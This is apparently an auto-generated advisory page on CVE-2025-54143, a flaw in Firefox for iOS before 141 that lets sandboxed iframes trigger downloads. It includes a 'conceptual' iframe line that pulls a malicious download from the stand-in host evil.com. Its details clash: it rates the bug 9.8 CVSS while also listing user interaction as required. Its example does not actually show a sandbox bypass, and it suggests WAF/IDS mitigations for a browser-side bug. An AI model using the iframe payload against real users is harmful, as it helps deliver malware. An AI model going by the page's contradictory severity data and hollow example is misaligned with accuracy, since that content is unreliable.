Overview
The vulnerability identified as CVE-2025-54143 is a critical security flaw that affects Firefox for iOS versions less than 141. This vulnerability pertains to sandboxed iframes on webpages, which could potentially enable downloads to the device, circumventing the intended sandbox restrictions declared on the parent page. This could lead to potential system compromise or data leakage, causing severe damage to the privacy and security of users. This vulnerability is of significant importance due to the potential of data breach and system compromise it presents.
Vulnerability Summary
CVE ID: CVE-2025-54143
Severity: Critical (9.8 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise and data leakage
Affected Products
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Product | Affected Versions
Firefox for iOS | < 141 How the Exploit Works
The exploit takes advantage of the sandboxed iframes on webpages. Normally, these iframes are isolated and do not have the ability to perform actions outside of their designated boundaries. However, with this vulnerability, an attacker can craft a webpage that, when viewed in a vulnerable version of Firefox for iOS, allows downloads to be executed bypassing the sandbox restrictions. This allows the attacker to potentially download malicious content to the device, leading to system compromise and potential data leakage.
Conceptual Example Code
Here is a conceptual example of how an attacker might exploit this vulnerability. They could craft a webpage with a sandboxed iframe like this:
<iframe src="http://evil.com/malicious_download" sandbox="allow-scripts allow-same-origin"></iframe>When a user visits this webpage using a vulnerable version of Firefox for iOS, the malicious download within the iframe could be initiated, bypassing the sandbox restrictions and potentially compromising the device.
Mitigation Guidance
Users are advised to apply the vendor-provided patch to address this vulnerability. In case the patch cannot be applied immediately, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation measures. Regularly updating your software and maintaining good cybersecurity practices can also help in preventing such vulnerabilities.